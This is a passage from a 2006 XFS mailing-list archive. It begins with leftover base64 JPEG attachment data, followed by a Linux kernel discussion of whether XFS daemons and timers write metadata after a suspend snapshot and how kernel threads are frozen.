      ------=SPLITOR00A_001_479670546D Content-Type: image/jpeg; name="image001.jpg" Content-Transfer-Encoding: base64 Content-ID: <3032an$IN498011618339980@AZRIELMAIN> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0N Dh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/ 2wBDAQoLCw4NDhwQEBw7KCIoOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7 Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv/wAARCABcAVYDASIAAhEBAxEB/8QA HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUF BAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1 dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAEC AxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU 1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDr9N01NRju ri5vdTMhv7tfk1O4jUKtxIqgKrhQAqgYAHSrn/CP2n/P5q//AIOLr/45SeH/ APjyuf8AsI33/pTLWpXlVas1NpN7nRGKstDL/wCEftP+fzV//Bxdf/HKP+Ef tP8An81f/wAHF1/8crUorP20+7K5Y9jL/wCEftP+fzV//Bxdf/HKP+EftP8A n81f/wAHF1/8crUoo9tPuw5Y9jL/AOEftP8An81f/wAHF1/8co/4R+0/5/NX /wDBxdf/ABytSij20+7Dlj2Mv/hH7T/n81f/AMHF1/8AHKP+EftP+fzV/wDw cXX/AMcrUoo9tPuw5Y9jL/4R+0/5/NX/APBxdf8Axyj/AIR+0/5/NX/8HF1/ 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 ------=SPLITOR00A_001_479670546D-- From owner-xfs@oss.sgi.com Thu Oct 26 00:31:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 00:31:39 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9Q7VPaG025363 for ; Thu, 26 Oct 2006 00:31:28 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA01491; Thu, 26 Oct 2006 17:30:35 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9Q7UT7Y16881558; Thu, 26 Oct 2006 17:30:31 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9Q7UMsi16888250; Thu, 26 Oct 2006 17:30:22 +1000 (AEST) Date: Thu, 26 Oct 2006 17:30:22 +1000 From: David Chinner To: "Rafael J. Wysocki" Cc: Nigel Cunningham , Pavel Machek , David Chinner , Andrew Morton , LKML , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061026073022.GG8394166@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610251432.41958.rjw@sisk.pl> <1161782620.3638.0.camel@nigel.suspend2.net> <200610252105.56862.rjw@sisk.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610252105.56862.rjw@sisk.pl> User-Agent: Mutt/1.4.2.1i X-archive-position: 9442 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 25, 2006 at 09:05:56PM +0200, Rafael J. Wysocki wrote: > On Wednesday, 25 October 2006 15:23, Nigel Cunningham wrote: > > > > > > Well, my impression is that this is exactly what happens here: Something > > > in the XFS code causes metadata to be written to disk _after_ the atomic > > > snapshot. > > > > > > That's why I asked if the dirty XFS metadata were flushed by a kernel thread. > > > > When I first added bdev freezing it was because there was an XFS timer > > doing writes. > > Yes, I noticed you said that, but I'd like someone from the XFS team to either > confirm or deny it. We have daemons running in the background that can definitely do stuff after a sync. hmm - one does try_to_freeze() after a wakeup, the other does: if (unlikely(freezing(current))) { set_bit(XBT_FORCE_SLEEP, &target->bt_flags); refrigerator(); } else { clear_bit(XBT_FORCE_SLEEP, &target->bt_flags); } before it goes to sleep. So that one (xfsbufd - metadata buffer flushing) can definitely wake up after the sync and do work, and the other could if the kernel thread freeze occurs after the sync. Another good question at this point - exactly how should we be putting these thread to to sleep? Are both these valid methods for freezing them? And should we be freezing when we wake up instead of before we go to sleep? i.e. what are teh rules we are supposed to be following? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 26 01:19:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 01:19:29 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9Q8JJaG004726 for ; Thu, 26 Oct 2006 01:19:20 -0700 X-ASG-Debug-ID: 1161850714-16362-562-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pop5-1.us4.outblaze.com (pop5-1.us4.outblaze.com [205.158.62.125]) by cuda.sgi.com (Spam Firewall) with SMTP id 019CFD14CCE5 for ; Thu, 26 Oct 2006 01:18:34 -0700 (PDT) Received: (qmail 20393 invoked from network); 26 Oct 2006 08:20:38 -0000 Received: from unknown (HELO ?10.1.1.3?) (ncunningham@linuxmail.org@203.171.70.205) by pop5-1.us4.outblaze.com with SMTP; 26 Oct 2006 08:20:37 -0000 X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. From: Nigel Cunningham To: David Chinner Cc: "Rafael J. Wysocki" , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com In-Reply-To: <20061026073022.GG8394166@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610251432.41958.rjw@sisk.pl> <1161782620.3638.0.camel@nigel.suspend2.net> <200610252105.56862.rjw@sisk.pl> <20061026073022.GG8394166@melbourne.sgi.com> Content-Type: text/plain Date: Thu, 26 Oct 2006 18:18:29 +1000 Message-Id: <1161850709.17293.23.camel@nigel.suspend2.net> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24144 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9443 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ncunningham@linuxmail.org Precedence: bulk X-list: xfs Status: O Hi Dave. On Thu, 2006-10-26 at 17:30 +1000, David Chinner wrote: > On Wed, Oct 25, 2006 at 09:05:56PM +0200, Rafael J. Wysocki wrote: > > On Wednesday, 25 October 2006 15:23, Nigel Cunningham wrote: > > > > > > > > Well, my impression is that this is exactly what happens here: Something > > > > in the XFS code causes metadata to be written to disk _after_ the atomic > > > > snapshot. > > > > > > > > That's why I asked if the dirty XFS metadata were flushed by a kernel thread. > > > > > > When I first added bdev freezing it was because there was an XFS timer > > > doing writes. > > > > Yes, I noticed you said that, but I'd like someone from the XFS team to either > > confirm or deny it. > > We have daemons running in the background that can definitely do stuff > after a sync. hmm - one does try_to_freeze() after a wakeup, the > other does: > > if (unlikely(freezing(current))) { > set_bit(XBT_FORCE_SLEEP, &target->bt_flags); > refrigerator(); > } else { > clear_bit(XBT_FORCE_SLEEP, &target->bt_flags); > } > > before it goes to sleep. So that one (xfsbufd - metadata buffer flushing) > can definitely wake up after the sync and do work, and the other could if > the kernel thread freeze occurs after the sync. > > Another good question at this point - exactly how should we be putting > these thread to to sleep? Are both these valid methods for freezing them? > And should we be freezing when we wake up instead of before we go to > sleep? i.e. what are teh rules we are supposed to be following? As you have them at the moment, the threads seem to be freezing fine. The issue I've seen in the past related not to threads but to timer based activity. Admittedly it was 2.6.14 when I last looked at it, but there used to be a possibility for XFS to submit I/O from a timer when the threads are frozen but the bdev isn't frozen. Has that changed? Regards, Nigel From owner-xfs@oss.sgi.com Thu Oct 26 01:50:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 01:50:45 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9Q8oWaG012020 for ; Thu, 26 Oct 2006 01:50:33 -0700 X-ASG-Debug-ID: 1161852584-17594-279-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ogre.sisk.pl (ogre.sisk.pl [217.79.144.158]) by cuda.sgi.com (Spam Firewall) with ESMTP id C3E0D4D0557 for ; Thu, 26 Oct 2006 01:49:44 -0700 (PDT) Received: from localhost (localhost.localdomain [127.0.0.1]) by ogre.sisk.pl (Postfix) with ESMTP id 040281D11A; Thu, 26 Oct 2006 10:40:46 +0200 (CEST) Received: from ogre.sisk.pl ([127.0.0.1]) by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28794-09; Thu, 26 Oct 2006 10:40:45 +0200 (CEST) Received: from albercik.fuw.edu.pl (albercik.fuw.edu.pl [193.0.83.66]) (using SSLv3 with cipher EXP1024-RC4-SHA (56/128 bits)) (No client certificate requested) by ogre.sisk.pl (Postfix) with ESMTP id 4F54B1CC81; Thu, 26 Oct 2006 10:40:45 +0200 (CEST) From: "Rafael J. Wysocki" To: Nigel Cunningham X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Date: Thu, 26 Oct 2006 10:48:15 +0200 User-Agent: KMail/1.9.1 Cc: David Chinner , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <20061026073022.GG8394166@melbourne.sgi.com> <1161850709.17293.23.camel@nigel.suspend2.net> In-Reply-To: <1161850709.17293.23.camel@nigel.suspend2.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610261048.15819.rjw@sisk.pl> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24146 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9444 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rjw@sisk.pl Precedence: bulk X-list: xfs Status: O On Thursday, 26 October 2006 10:18, Nigel Cunningham wrote: > Hi Dave. > > On Thu, 2006-10-26 at 17:30 +1000, David Chinner wrote: > > On Wed, Oct 25, 2006 at 09:05:56PM +0200, Rafael J. Wysocki wrote: > > > On Wednesday, 25 October 2006 15:23, Nigel Cunningham wrote: > > > > > > > > > > Well, my impression is that this is exactly what happens here: Something > > > > > in the XFS code causes metadata to be written to disk _after_ the atomic > > > > > snapshot. > > > > > > > > > > That's why I asked if the dirty XFS metadata were flushed by a kernel thread. > > > > > > > > When I first added bdev freezing it was because there was an XFS timer > > > > doing writes. > > > > > > Yes, I noticed you said that, but I'd like someone from the XFS team to either > > > confirm or deny it. > > > > We have daemons running in the background that can definitely do stuff > > after a sync. hmm - one does try_to_freeze() after a wakeup, the > > other does: > > > > if (unlikely(freezing(current))) { > > set_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > refrigerator(); > > } else { > > clear_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > } > > > > before it goes to sleep. So that one (xfsbufd - metadata buffer flushing) > > can definitely wake up after the sync and do work, Once it's entered the refrigerator, it won't return from it before freeze_processes() is called (usually during the resume). > > and the other could if the kernel thread freeze occurs after the sync. Even if it does anything after the sync, it's okay as long as that's before we create the image. And it is, because both threads are frozen before we do it. > > Another good question at this point - exactly how should we be putting > > these thread to to sleep? Are both these valid methods for freezing them? > > And should we be freezing when we wake up instead of before we go to > > sleep? i.e. what are teh rules we are supposed to be following? > > As you have them at the moment, the threads seem to be freezing fine. Yes. IMO they are freezing fine. In fact the suspend would fail if they didn't freeze unless one of them had PF_NOFREEZE set. Greetings, Rafael -- You never change things by fighting the existing reality. R. Buckminster Fuller From owner-xfs@oss.sgi.com Thu Oct 26 01:57:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 01:58:10 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9Q8vuaG013770 for ; Thu, 26 Oct 2006 